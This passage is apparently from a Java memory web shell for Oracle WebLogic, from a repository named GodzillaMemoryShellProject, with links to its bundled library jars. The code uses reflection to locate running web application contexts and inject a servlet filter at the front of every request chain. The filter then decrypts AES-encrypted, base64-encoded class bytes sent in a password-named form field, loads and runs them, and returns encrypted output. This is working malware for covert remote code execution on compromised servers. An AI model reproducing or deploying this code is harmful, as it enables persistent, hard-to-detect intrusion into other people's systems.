110 | webappContexts.add(context);
111 | }
112 | }catch (Throwable e){
113 |
114 | }
115 | }
116 | }
117 | }
118 | return webappContexts.toArray();
119 | }
120 | private static Object[] getContexts() {
121 | HashSet webappContexts = new HashSet();
122 | try {
123 | webappContexts.addAll(Arrays.asList(getContextsByMbean()));
124 | }catch (Throwable e){
125 |
126 | }
127 | try {
128 | webappContexts.addAll(Arrays.asList(getContextsByThreads()));
129 | }catch (Throwable e){
130 |
131 | }
132 | return webappContexts.toArray();
133 | }
134 |
135 | private static boolean addFilter(Class filterClass){
136 | boolean isOK = false;
137 | Object[] contexts = getContexts();
138 | for (int i = 0; i < contexts.length; i++) {
139 | try {
140 | Object webContext = contexts[i];
141 |
142 | Method getFilterManagerMethod = webContext.getClass().getMethod("getFilterManager");
143 | getFilterManagerMethod.setAccessible(true);
144 |
145 | Method getServletClassLoaderMethod = webContext.getClass().getMethod("getServletClassLoader");
146 | getServletClassLoaderMethod.setAccessible(true);
147 |
148 | Object servletClassLoader = getServletClassLoaderMethod.invoke(webContext);
149 | Object filterManager = getFilterManagerMethod.invoke(webContext);
150 | Map cachedClasses = (Map)getFieldValue(servletClassLoader,"cachedClasses");
151 |
152 |
153 | //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
154 | cachedClasses.put(filterClass.getName(),filterClass);
155 |
156 | //String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
157 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
158 | registerFilterMethod.setAccessible(true);
159 | registerFilterMethod.invoke(filterManager, filterClass.getName(), filterClass.getName(), new String[]{"/*"}, null, null, new String[]{"REQUEST","FORWARD","INCLUDE","ERROR"});
160 |
161 |
162 | //将我们的filter置为第一位
163 | List filterPatternList = (List) getFieldValue(filterManager,"filterPatternList");
164 | Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
165 | filterPatternList.add(0,currentMapping);
166 | isOK = true;
167 | }catch (Throwable e){
168 |
169 | }
170 | }
171 | return isOK;
172 | }
173 |
174 | private static Class loadClassEx(String className) throws ClassNotFoundException{
175 | try {
176 | return Class.forName(className);
177 | } catch (Throwable e) {
178 | try {
179 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
180 | } catch (Throwable ignored) {
181 | try {
182 | Thread[] threads = new Thread[Thread.activeCount()];
183 | Thread.enumerate(threads);
184 | for (int i = 0; i < threads.length; i++) {
185 | Thread thread = threads[i];
186 | if (thread == null) {
187 | continue;
188 | }
189 | try {
190 | ClassLoader loader = thread.getContextClassLoader();
191 | return loader.loadClass(className);
192 | } catch (Throwable ignored2) {
193 |
194 | }
195 |
196 | }
197 |
198 | } catch (Throwable ignored2) {
199 |
200 | }
201 | }
202 |
203 | }
204 | throw new ClassNotFoundException(className);
205 | }
206 |
207 | private static Field getField(Object obj, String fieldName){
208 | Class clazz = null;
209 |
210 | if(obj == null){
211 | return null;
212 | }
213 |
214 | if (obj instanceof Class){
215 | clazz = (Class)obj;
216 | }else {
217 | clazz = obj.getClass();
218 | }
219 | Field field = null;
220 | while (clazz!=null){
221 | try {
222 | field = clazz.getDeclaredField(fieldName);
223 | clazz = null;
224 | }catch (Exception e){
225 | clazz = clazz.getSuperclass();
226 | }
227 | }
228 |
229 | if (field != null){
230 | field.setAccessible(true);
231 | }
232 |
233 | return field;
234 | }
235 | private static Object getFieldValue(Object obj, String fieldName) throws Exception {
236 | Field f=null;
237 | if (obj instanceof Field){
238 | f=(Field)obj;
239 | }else {
240 | f = getField(obj, fieldName);
241 | }
242 | if (f != null) {
243 | return f.get(obj);
244 | }
245 | return null;
246 | }
247 |
248 |
249 | private byte[] aes(byte[] s,boolean m){
250 | try{
251 | javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
252 | c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
253 | return c.doFinal(s);
254 | }catch (Exception e){
255 | return null;
256 | }
257 | }
258 |
259 | private static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }
260 |
261 | private static String base64Encode(byte[] bs) throws Exception {
262 | Class base64;
263 | String value = null;
264 | try {
265 | base64 = Class.forName("java.util.Base64");
266 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
267 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
268 | byte[].class
269 | }).invoke(Encoder, new Object[] {
270 | bs
271 | });
272 | } catch (Exception e) {
273 | try {
274 | base64 = Class.forName("sun.misc.BASE64Encoder");
275 | Object Encoder = base64.newInstance();
276 | value = (String) Encoder.getClass().getMethod("encode", new Class[] {
277 | byte[].class
278 | }).invoke(Encoder, new Object[] {
279 | bs
280 | });
281 | } catch (Exception e2) {}
282 | }
283 | return value;
284 | }
285 | private static byte[] base64Decode(String bs) throws Exception {
286 | Class base64;
287 | byte[] value = null;
288 | try {
289 | base64 = Class.forName("java.util.Base64");
290 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
291 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
292 | String.class
293 | }).invoke(decoder, new Object[] {
294 | bs
295 | });
296 | } catch (Exception e) {
297 | try {
298 | base64 = Class.forName("sun.misc.BASE64Decoder");
299 | Object decoder = base64.newInstance();
300 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
301 | String.class
302 | }).invoke(decoder, new Object[] {
303 | bs
304 | });
305 | } catch (Exception e2) {}
306 | }
307 | return value;
308 | }
309 |
310 |
311 | @Override
312 | public void init(FilterConfig filterConfig) throws ServletException {
313 |
314 | }
315 |
316 | @Override
317 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
318 | String contentType = servletRequest.getContentType();
319 | try {
320 | if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) {
321 | String value = servletRequest.getParameter(password);
322 | if (value!=null){
323 | byte[] data = base64Decode(value);
324 | data = aes(data, false);
325 | if (data != null && data.length > 0){
326 | if (payloadClass == null) {
327 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
328 | if (loader == null) {
329 | loader = servletRequest.getClass().getClassLoader();
330 | }
331 | payloadClass = new AesBase64WeblogicFilterShell(loader).defineClass(data,0,data.length);
332 | } else {
333 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
334 | Object f = payloadClass.newInstance();
335 | f.equals(arrOut);
336 | f.equals(servletRequest);
337 | f.equals(data);
338 | f.toString();
339 | String md5 = md5(password + key);
340 | if (arrOut.size()>0) {
341 | PrintWriter printWriter = servletResponse.getWriter();
342 | printWriter.write(md5.substring(0, 16));
343 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true)));
344 | printWriter.write(md5.substring(16));
345 | return;
346 | }
347 | }
348 | }
349 | }
350 | }
351 | }catch (Throwable e){
352 |
353 | }
354 | filterChain.doFilter(servletRequest,servletResponse);
355 | }
356 |
357 | @Override
358 | public void destroy() {
359 |
360 | }
361 | }
362 |
--------------------------------------------------------------------------------
/libs/servlet-api.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BeichenDream/GodzillaMemoryShellProject/808afedc044156a3f357ef5a551cc6bbcea1b26b/libs/servlet-api.jar
--------------------------------------------------------------------------------
/libs/websocket-api.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BeichenDream/GodzillaMemoryShellProject/808afedc044156a3f357ef5a551cc6bbcea1b26b/libs/websocket-api.jar
--------------------------------------------------------------------------------